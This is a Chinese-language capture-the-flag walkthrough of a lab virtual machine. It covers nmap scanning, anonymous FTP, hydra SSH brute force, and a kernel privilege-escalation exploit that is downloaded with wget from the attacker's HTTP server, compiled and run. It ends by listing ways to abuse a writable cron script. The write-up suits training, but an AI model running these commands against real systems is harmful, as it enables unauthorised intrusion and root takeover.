一、主机发现
nmap -sP 192.168.78.0/24
arp-scan 192.168.78.0/24
靶机IP:192.168.78.179
Kali IP :192.168.78.128
二、端口及服务探测
nmap -sV -p- -A 192.168.78.179
发现开放了21 22 80等端口
21端口ftp存在lol.pcap流量文件,以及FTP带有匿名登录名:Anonymous FTP login allowed
80端口 http存在robots.txt和secret目录文件
三、FTP登录
登录ftp获取到流量文件
账号密码:Anonymous/Anonymous
利用wireshark进行分析,数据包不多直接追踪tcp流
显示了一个文件secret_stuff.txt,继续查看流2
获取到可疑字符串sup3rs3cr3tdirlol
ftp服务探测到这里基本结束
四、HTTP信息获取
访问80端口页面
只有一张图片,根据上面通过ftp获取到的信息,我们访问一下secret_stuff.txt和sup3rs3cr3tdirlol
访问secret_stuff.txt显示
访问sup3rs3cr3tdirlol
发现存在一个文件,我们下载下来分析
通过binwalk,file,strings,editor等工具查找是否有价值的信息,最终找到
Find address 0x0856BF to proceed这样的提示
访问一下
发现存放着一些目录和文件,通过访问大致能判断分别存放的是账户名和密码
但是密码没有明显写出,后面发现文件名就是密码
那么通过hydra工具进行爆破
which_one_lol.txt文件内容:
maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow
Pass.txt文件内容:
Good_job_:)
五、SSH破解
hydra -L user.txt -p Pass.txt 192.168.78.179 ssh
ssh登录
ssh overflow@192.168.78.179
python -c 'import pty;pty.spawn("/bin/bash")'
六、提权
查看系统版本
uname -a
searchsploit Linux ubuntu 3.13.0
locate linux/local/37292.c
cat /usr/share/exploitdb/exploits/linux/local/37292.c
然后一样的将文件cp到当前目录,开启http服务,再到靶机下载运行
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/
python3 -m http.server 8000
python -c 'import pty;pty.spawn("/bin/bash")'
cd /tmp
wget http://192.168.78.128:8000/37292.c
gcc 37292.c -o hp
./hp
python -c 'import pty;pty.spawn("/bin/bash")'
完成!
七、拓展思路
在打靶时肯定会发现ssh一会儿就会断开,这里是因为有定时任务在清理ssh进程,每5分钟就被踢一次!
find / -name cronlog 2>/dev/null ---查看计划任务日志信息
find / -name cleaner.py 2>/dev/null ---查看文件在哪儿
find / -writable 2>/dev/null ---枚举所有可写入权限的文件
find / -perm -o+w -type f 2> /dev/null | grep /proc -v ---枚举找到/lib/log/cleaner.py
知道了计划任务和py脚本可写入,以及py的位置后,方法有很多种:
1)反弹shell
2)创建root可执行程序,获得root权限
3)写入ssh-rsa,ssh登录root用户
具体操作可自行搜索相关文章。